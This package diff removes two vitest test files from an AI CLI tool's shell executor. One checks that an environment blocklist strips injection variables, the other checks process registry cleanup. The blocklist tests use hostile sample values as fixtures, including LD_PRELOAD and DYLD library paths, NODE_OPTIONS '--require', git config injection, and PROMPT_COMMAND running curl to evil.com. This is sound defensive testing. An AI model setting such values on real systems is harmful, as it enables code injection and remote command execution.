@aria-cli/tools 1.0.8 → 1.0.10

package/tests/executors/shell-env-process.test.ts

@@ -1,245 +0,0 @@
-/**
- * @aria/tools - process.env blocklist filtering tests (aria-zoa)
- *
- * Verifies that dangerous environment variables inherited from the host
- * process.env are stripped before being passed to child processes.
- *
- * Key distinction: BLOCKED_ENV_VARS (injection vars like LD_PRELOAD) are
- * stripped from ALL sources. BLOCKED_INPUT_ENV_VARS (PATH, HOME, etc.)
- * are only stripped from tool-injected input, NOT from process.env.
- */
-
-import { describe, it, expect, afterEach } from "vitest";
-import type { ToolContext } from "../../src/types.js";
-import { mergeEnv, BLOCKED_ENV_VARS, BLOCKED_INPUT_ENV_VARS } from "../../src/executors/shell.js";
-
-const createContext = (workingDir: string, env: Record<string, string> = {}): ToolContext => ({
-  workingDir,
-  env,
-  confirm: async () => true,
-});
-
-describe("process.env blocklist filtering (aria-zoa)", () => {
-  const savedEnvVars: Record<string, string | undefined> = {};
-
-  const setProcessEnv = (key: string, value: string) => {
-    if (!(key in savedEnvVars)) {
-      savedEnvVars[key] = process.env[key];
-    }
-    process.env[key] = value;
-  };
-
-  const deleteProcessEnv = (key: string) => {
-    if (!(key in savedEnvVars)) {
-      savedEnvVars[key] = process.env[key];
-    }
-    delete process.env[key];
-  };
-
-  afterEach(() => {
-    for (const [key, original] of Object.entries(savedEnvVars)) {
-      if (original === undefined) {
-        delete process.env[key];
-      } else {
-        process.env[key] = original;
-      }
-    }
-    for (const key of Object.keys(savedEnvVars)) {
-      delete savedEnvVars[key];
-    }
-  });
-
-  describe("strips BLOCKED_ENV_VARS (injection vars) from process.env", () => {
-    it("should strip LD_PRELOAD from process.env", () => {
-      setProcessEnv("LD_PRELOAD", "/tmp/evil.so");
-      const result = mergeEnv(createContext("/tmp"));
-      expect(result).not.toHaveProperty("LD_PRELOAD");
-    });
-
-    it("should strip BASH_ENV from process.env", () => {
-      setProcessEnv("BASH_ENV", "/tmp/evil-bashrc.sh");
-      const result = mergeEnv(createContext("/tmp"));
-      expect(result).not.toHaveProperty("BASH_ENV");
-    });
-
-    it("should strip LD_LIBRARY_PATH from process.env", () => {
-      setProcessEnv("LD_LIBRARY_PATH", "/tmp/evil-libs");
-      const result = mergeEnv(createContext("/tmp"));
-      expect(result).not.toHaveProperty("LD_LIBRARY_PATH");
-    });
-
-    it("should strip DYLD_INSERT_LIBRARIES from process.env", () => {
-      setProcessEnv("DYLD_INSERT_LIBRARIES", "/tmp/evil.dylib");
-      const result = mergeEnv(createContext("/tmp"));
-      expect(result).not.toHaveProperty("DYLD_INSERT_LIBRARIES");
-    });
-
-    it("should strip PROMPT_COMMAND from process.env", () => {
-      setProcessEnv("PROMPT_COMMAND", "curl http://evil.com");
-      const result = mergeEnv(createContext("/tmp"));
-      expect(result).not.toHaveProperty("PROMPT_COMMAND");
-    });
-
-    it("should strip GIT_DIR from process.env", () => {
-      setProcessEnv("GIT_DIR", "/tmp/host-repo/.git");
-      const result = mergeEnv(createContext("/tmp"));
-      expect(result).not.toHaveProperty("GIT_DIR");
-    });
-
-    it("should strip indexed git config vars from process.env", () => {
-      setProcessEnv("GIT_CONFIG_KEY_0", "core.bare");
-      setProcessEnv("GIT_CONFIG_VALUE_0", "true");
-      const result = mergeEnv(createContext("/tmp"));
-      expect(result).not.toHaveProperty("GIT_CONFIG_KEY_0");
-      expect(result).not.toHaveProperty("GIT_CONFIG_VALUE_0");
-    });
-
-    it("should strip all BLOCKED_ENV_VARS from process.env", () => {
-      for (const varName of BLOCKED_ENV_VARS) {
-        setProcessEnv(varName, `evil_${varName.toLowerCase()}`);
-      }
-      const result = mergeEnv(createContext("/tmp"));
-      for (const varName of BLOCKED_ENV_VARS) {
-        expect(result).not.toHaveProperty(varName);
-      }
-    });
-
-    it("should strip git repo-context vars from process.env", () => {
-      setProcessEnv("GIT_DIR", "/tmp/not-repo");
-      setProcessEnv("GIT_WORK_TREE", "/tmp/not-repo");
-      setProcessEnv("GIT_CONFIG_GLOBAL", "/tmp/not-config");
-      const result = mergeEnv(createContext("/tmp"));
-      expect(result).not.toHaveProperty("GIT_DIR");
-      expect(result).not.toHaveProperty("GIT_WORK_TREE");
-      expect(result).not.toHaveProperty("GIT_CONFIG_GLOBAL");
-    });
-
-    it("should strip git config injection prefix vars from process.env", () => {
-      setProcessEnv("GIT_CONFIG_COUNT", "1");
-      setProcessEnv("GIT_CONFIG_KEY_0", "user.name");
-      setProcessEnv("GIT_CONFIG_VALUE_0", "poisoned");
-      const result = mergeEnv(createContext("/tmp"));
-      expect(result).not.toHaveProperty("GIT_CONFIG_COUNT");
-      expect(result).not.toHaveProperty("GIT_CONFIG_KEY_0");
-      expect(result).not.toHaveProperty("GIT_CONFIG_VALUE_0");
-    });
-  });
-
-  describe("preserves host PATH/HOME/NODE_OPTIONS from process.env", () => {
-    it("should preserve PATH from process.env (host PATH is legitimate)", () => {
-      setProcessEnv("PATH", "/usr/local/bin:/usr/bin:/bin");
-      const result = mergeEnv(createContext("/tmp"));
-      expect(result.PATH).toBe("/usr/local/bin:/usr/bin:/bin");
-    });
-
-    it("should preserve HOME from process.env (needed by git, ssh, etc.)", () => {
-      setProcessEnv("HOME", "/Users/testuser");
-      const result = mergeEnv(createContext("/tmp"));
-      expect(result.HOME).toBe("/Users/testuser");
-    });
-
-    it("should preserve NODE_OPTIONS from process.env (user config)", () => {
-      setProcessEnv("NODE_OPTIONS", "--max-old-space-size=4096");
-      const result = mergeEnv(createContext("/tmp"));
-      expect(result.NODE_OPTIONS).toBe("--max-old-space-size=4096");
-    });
-
-    it("should preserve SHELL from process.env", () => {
-      setProcessEnv("SHELL", "/bin/zsh");
-      const result = mergeEnv(createContext("/tmp"));
-      expect(result.SHELL).toBe("/bin/zsh");
-    });
-  });
-
-  describe("blocks BLOCKED_INPUT_ENV_VARS from tool-injected input", () => {
-    it("should block PATH from inputEnv", () => {
-      const result = mergeEnv(createContext("/tmp"), { PATH: "/tmp/evil-path" });
-      expect(result.PATH).not.toBe("/tmp/evil-path");
-    });
-
-    it("should block HOME from inputEnv", () => {
-      const result = mergeEnv(createContext("/tmp"), { HOME: "/tmp/evil-home" });
-      expect(result.HOME).not.toBe("/tmp/evil-home");
-    });
-
-    it("should block NODE_OPTIONS from inputEnv", () => {
-      const result = mergeEnv(createContext("/tmp"), {
-        NODE_OPTIONS: "--require /tmp/evil.js",
-      });
-      expect(result.NODE_OPTIONS).not.toBe("--require /tmp/evil.js");
-    });
-
-    it("should block PATH from ctx.env", () => {
-      const ctx = createContext("/tmp", { PATH: "/tmp/evil-path" });
-      const result = mergeEnv(ctx);
-      expect(result.PATH).not.toBe("/tmp/evil-path");
-    });
-
-    it("should block all BLOCKED_INPUT_ENV_VARS from inputEnv", () => {
-      const evilInput: Record<string, string> = {};
-      for (const varName of BLOCKED_INPUT_ENV_VARS) {
-        evilInput[varName] = `evil_${varName.toLowerCase()}`;
-      }
-      const result = mergeEnv(createContext("/tmp"), evilInput);
-      for (const varName of BLOCKED_INPUT_ENV_VARS) {
-        expect(result[varName]).not.toBe(`evil_${varName.toLowerCase()}`);
-      }
-    });
-
-    it("should block git context and identity vars from inputEnv", () => {
-      const result = mergeEnv(createContext("/tmp"), {
-        GIT_DIR: "/tmp/not-repo",
-        GIT_AUTHOR_NAME: "Injected",
-        GIT_COMMITTER_EMAIL: "evil@example.com",
-      });
-      expect(result).not.toHaveProperty("GIT_DIR");
-      expect(result).not.toHaveProperty("GIT_AUTHOR_NAME");
-      expect(result).not.toHaveProperty("GIT_COMMITTER_EMAIL");
-    });
-
-    it("should block git context vars from ctx.env", () => {
-      const ctx = createContext("/tmp", {
-        GIT_WORK_TREE: "/tmp/not-repo",
-        GIT_CONFIG_GLOBAL: "/tmp/not-config",
-      });
-      const result = mergeEnv(ctx);
-      expect(result).not.toHaveProperty("GIT_WORK_TREE");
-      expect(result).not.toHaveProperty("GIT_CONFIG_GLOBAL");
-    });
-  });
-
-  describe("passthrough of safe vars", () => {
-    it("should preserve TERM from process.env", () => {
-      setProcessEnv("TERM", "xterm-256color");
-      const result = mergeEnv(createContext("/tmp"));
-      expect(result.TERM).toBe("xterm-256color");
-    });
-
-    it("should preserve LANG from process.env", () => {
-      setProcessEnv("LANG", "en_US.UTF-8");
-      const result = mergeEnv(createContext("/tmp"));
-      expect(result.LANG).toBe("en_US.UTF-8");
-    });
-
-    it("should preserve custom non-blocked variable", () => {
-      setProcessEnv("ARIA_TEST_CANARY", "canary_value_12345");
-      const result = mergeEnv(createContext("/tmp"));
-      expect(result.ARIA_TEST_CANARY).toBe("canary_value_12345");
-    });
-  });
-
-  describe("edge cases", () => {
-    it("should handle absent process.env vars without crash", () => {
-      deleteProcessEnv("LD_PRELOAD");
-      const result = mergeEnv(createContext("/tmp"));
-      expect(result).not.toHaveProperty("LD_PRELOAD");
-    });
-
-    it("should return a plain object (not process.env reference)", () => {
-      const result = mergeEnv(createContext("/tmp"));
-      result["__ARIA_MUTATION_TEST__"] = "test";
-      expect(process.env.__ARIA_MUTATION_TEST__).toBeUndefined();
-      delete result["__ARIA_MUTATION_TEST__"];
-    });
-  });
-});

package/tests/executors/shell-process-registry.test.ts

@@ -1,334 +0,0 @@
-/**
- * @aria/tools - Shell executor + SpawnedProcessRegistry integration tests
- *
- * Verifies that shell executors properly register/deregister PIDs
- * in the SpawnedProcessRegistry via ToolContext.
- */
-
-import { describe, it, expect, beforeEach, afterEach } from "vitest";
-import * as fs from "node:fs/promises";
-import * as path from "node:path";
-import * as os from "node:os";
-import type { ToolContext } from "../../src/types.js";
-import { SpawnedProcessRegistry } from "../../src/executors/process-registry.js";
-import { executeBash, executeExec, executeSpawn, executeKill } from "../../src/executors/shell.js";
-
-const sleep = (ms: number): Promise<void> => new Promise((resolve) => setTimeout(resolve, ms));
-const waitForFile = async (filePath: string, timeoutMs = 5_000): Promise<void> => {
-  const deadline = Date.now() + timeoutMs;
-  while (Date.now() < deadline) {
-    try {
-      await fs.access(filePath);
-      return;
-    } catch {
-      await sleep(25);
-    }
-  }
-  throw new Error(`Timed out waiting for ${filePath}`);
-};
-
-function isProcessAlive(pid: number): boolean {
-  try {
-    process.kill(pid, 0);
-    return true;
-  } catch {
-    return false;
-  }
-}
-
-const createTempDir = async (): Promise<string> => {
-  const tempDir = await fs.mkdtemp(path.join(os.tmpdir(), "aria-shell-reg-test-"));
-  return fs.realpath(tempDir);
-};
-
-const SIGTERM_IGNORING_NODE_SCRIPT =
-  "const fs = require('node:fs'); process.on('SIGTERM', () => {}); fs.writeFileSync(process.env.READY_FILE, 'ready'); setInterval(() => {}, 1000);";
-
-describe("Shell executors + SpawnedProcessRegistry", () => {
-  let tempDir: string;
-  let registry: SpawnedProcessRegistry;
-  let ctx: ToolContext;
-  const pidsToCleanup: number[] = [];
-
-  beforeEach(async () => {
-    tempDir = await createTempDir();
-    registry = new SpawnedProcessRegistry();
-    ctx = {
-      workingDir: tempDir,
-      env: {},
-      confirm: async () => true,
-      processRegistry: registry,
-    };
-  });
-
-  afterEach(async () => {
-    for (const pid of pidsToCleanup) {
-      try {
-        process.kill(pid, "SIGKILL");
-      } catch {
-        // Process may already be dead
-      }
-    }
-    pidsToCleanup.length = 0;
-    await fs.rm(tempDir, { recursive: true, force: true });
-  });
-
-  describe("executeExec", () => {
-    it("registers PID on spawn and deregisters on normal exit", async () => {
-      // Run a quick command
-      const result = await executeExec({ program: "echo", args: ["hello"] }, ctx);
-
-      expect(result.success).toBe(true);
-      // After the command exits normally, PID should be deregistered
-      expect(registry.size).toBe(0);
-    });
-
-    it("registers PID on spawn and deregisters on non-zero exit", async () => {
-      const result = await executeExec({ program: "false" }, ctx);
-
-      expect(result.success).toBe(false);
-      // Even on failure, PID should be deregistered
-      expect(registry.size).toBe(0);
-    });
-
-    it("registers PID on spawn and deregisters on timeout", async () => {
-      const result = await executeExec({ program: "sleep", args: ["30"], timeout: 100 }, ctx);
-
-      expect(result.success).toBe(false);
-      // After timeout, PID should be deregistered
-      expect(registry.size).toBe(0);
-    }, 10000);
-  });
-
-  describe("executeBash", () => {
-    it("reports teardown-killed bash processes as failures instead of silent success", async () => {
-      const resultPromise = executeBash(
-        {
-          command: "sleep 60",
-        },
-        ctx,
-      );
-
-      await sleep(100);
-
-      expect(registry.size).toBe(1);
-      const [pid] = registry.getAll();
-      expect(typeof pid).toBe("number");
-      pidsToCleanup.push(pid!);
-      expect(isProcessAlive(pid!)).toBe(true);
-
-      await registry.killAll();
-      const result = await resultPromise;
-
-      expect(isProcessAlive(pid!)).toBe(false);
-      expect(registry.size).toBe(0);
-      expect(result.success).toBe(false);
-      expect(result.message).toContain("signal");
-    }, 15000);
-  });
-
-  describe("executeSpawn", () => {
-    it("registers PID of detached background process", async () => {
-      const result = await executeSpawn({ program: "sleep", args: ["60"] }, ctx);
-
-      expect(result.success).toBe(true);
-      const data = result.data as { pid: number };
-      pidsToCleanup.push(data.pid);
-
-      // PID should be tracked in registry (spawned process is still alive)
-      expect(registry.has(data.pid)).toBe(true);
-      expect(registry.size).toBe(1);
-
-      // Process should be alive
-      expect(isProcessAlive(data.pid)).toBe(true);
-    });
-
-    it("killAll cleans up spawned background processes", async () => {
-      const result = await executeSpawn({ program: "sleep", args: ["60"] }, ctx);
-      expect(result.success).toBe(true);
-      const data = result.data as { pid: number };
-      pidsToCleanup.push(data.pid);
-
-      expect(isProcessAlive(data.pid)).toBe(true);
-
-      // killAll should terminate the process
-      await registry.killAll();
-      await sleep(200);
-
-      expect(isProcessAlive(data.pid)).toBe(false);
-      expect(registry.size).toBe(0);
-    }, 10000);
-
-    it("killAll waits for SIGTERM-resistant spawned processes to exit", async () => {
-      const readyFile = path.join(tempDir, "sigterm-resistant-ready");
-      const result = await executeSpawn(
-        {
-          program: process.execPath,
-          args: ["-e", SIGTERM_IGNORING_NODE_SCRIPT],
-          env: {
-            READY_FILE: readyFile,
-          },
-        },
-        ctx,
-      );
-
-      expect(result.success).toBe(true);
-      const { pid } = result.data as { pid: number };
-      pidsToCleanup.push(pid);
-      await waitForFile(readyFile);
-
-      const startedAt = Date.now();
-      await registry.killAll();
-      const elapsedMs = Date.now() - startedAt;
-
-      expect(elapsedMs).toBeGreaterThanOrEqual(1900);
-      expect(isProcessAlive(pid)).toBe(false);
-      expect(registry.getProcess(pid)).toMatchObject({
-        pid,
-        status: "exited",
-        signal: "SIGKILL",
-      });
-    }, 15000);
-
-    it("killAll terminates detached process groups, not just the tracked leader pid", async () => {
-      const childPidFile = path.join(tempDir, "child-pid");
-      const result = await executeSpawn(
-        {
-          program: "sh",
-          args: ["-c", 'sleep 60 & child=$!; echo "$child" > "$CHILD_PID_FILE"; wait "$child"'],
-          env: {
-            CHILD_PID_FILE: childPidFile,
-          },
-        },
-        ctx,
-      );
-
-      expect(result.success).toBe(true);
-      const { pid } = result.data as { pid: number };
-      pidsToCleanup.push(pid);
-      await waitForFile(childPidFile);
-      const childPid = Number.parseInt((await fs.readFile(childPidFile, "utf8")).trim(), 10);
-
-      expect(isProcessAlive(pid)).toBe(true);
-      expect(isProcessAlive(childPid)).toBe(true);
-
-      await registry.killAll();
-      await sleep(200);
-
-      expect(isProcessAlive(pid)).toBe(false);
-      expect(isProcessAlive(childPid)).toBe(false);
-    }, 15000);
-
-    it("reaps detached process groups after the leader exits but the last child drains naturally", async () => {
-      const result = await executeSpawn(
-        {
-          program: process.execPath,
-          args: [
-            "-e",
-            [
-              "const { spawn } = require('node:child_process');",
-              "const child = spawn('sleep', ['1'], { stdio: 'ignore' });",
-              "child.unref();",
-              "setTimeout(() => process.exit(0), 20);",
-            ].join(" "),
-          ],
-        },
-        ctx,
-      );
-
-      expect(result.success).toBe(true);
-      const { pid } = result.data as { pid: number };
-      pidsToCleanup.push(pid);
-
-      expect(registry.has(pid)).toBe(true);
-      await sleep(1_500);
-
-      expect(registry.has(pid)).toBe(false);
-      expect(registry.getProcess(pid)).toMatchObject({
-        pid,
-        status: "exited",
-      });
-    }, 15_000);
-  });
-
-  describe("executeKill", () => {
-    it("keeps a terminating pid tracked until exit is observed", async () => {
-      // Spawn a background process
-      const spawnResult = await executeSpawn({ program: "sleep", args: ["60"] }, ctx);
-      expect(spawnResult.success).toBe(true);
-      const { pid } = spawnResult.data as { pid: number };
-      pidsToCleanup.push(pid);
-
-      expect(registry.has(pid)).toBe(true);
-
-      // Kill it via executeKill
-      const killResult = await executeKill({ pid }, ctx);
-      expect(killResult.success).toBe(true);
-
-      await sleep(50);
-      expect(registry.has(pid)).toBe(false);
-      expect(registry.size).toBe(0);
-    });
-
-    it("keeps SIGTERM-resistant processes tracked so killAll can escalate later", async () => {
-      const readyFile = path.join(tempDir, "kill-resistant-ready");
-      const spawnResult = await executeSpawn(
-        {
-          program: process.execPath,
-          args: ["-e", SIGTERM_IGNORING_NODE_SCRIPT],
-          env: {
-            READY_FILE: readyFile,
-          },
-        },
-        ctx,
-      );
-      expect(spawnResult.success).toBe(true);
-      const { pid } = spawnResult.data as { pid: number };
-      pidsToCleanup.push(pid);
-      await waitForFile(readyFile);
-
-      const killResult = await executeKill({ pid }, ctx);
-      expect(killResult.success).toBe(true);
-      expect(registry.has(pid)).toBe(true);
-      expect(isProcessAlive(pid)).toBe(true);
-
-      await registry.killAll();
-      expect(isProcessAlive(pid)).toBe(false);
-      expect(registry.getProcess(pid)).toMatchObject({
-        pid,
-        status: "exited",
-        signal: "SIGKILL",
-      });
-    }, 15000);
-  });
-
-  describe("without registry (backward compat)", () => {
-    it("executeExec works without processRegistry in context", async () => {
-      const ctxNoRegistry: ToolContext = {
-        workingDir: tempDir,
-        env: {},
-        confirm: async () => true,
-        // No processRegistry
-      };
-
-      const result = await executeExec({ program: "echo", args: ["test"] }, ctxNoRegistry);
-      expect(result.success).toBe(true);
-    });
-
-    it("executeSpawn works without processRegistry in context", async () => {
-      const ctxNoRegistry: ToolContext = {
-        workingDir: tempDir,
-        env: {},
-        confirm: async () => true,
-      };
-
-      const result = await executeSpawn({ program: "sleep", args: ["60"] }, ctxNoRegistry);
-      expect(result.success).toBe(true);
-      const { pid } = result.data as { pid: number };
-      pidsToCleanup.push(pid);
-
-      // Should still work, just no tracking
-      expect(isProcessAlive(pid)).toBe(true);
-    });
-  });
-});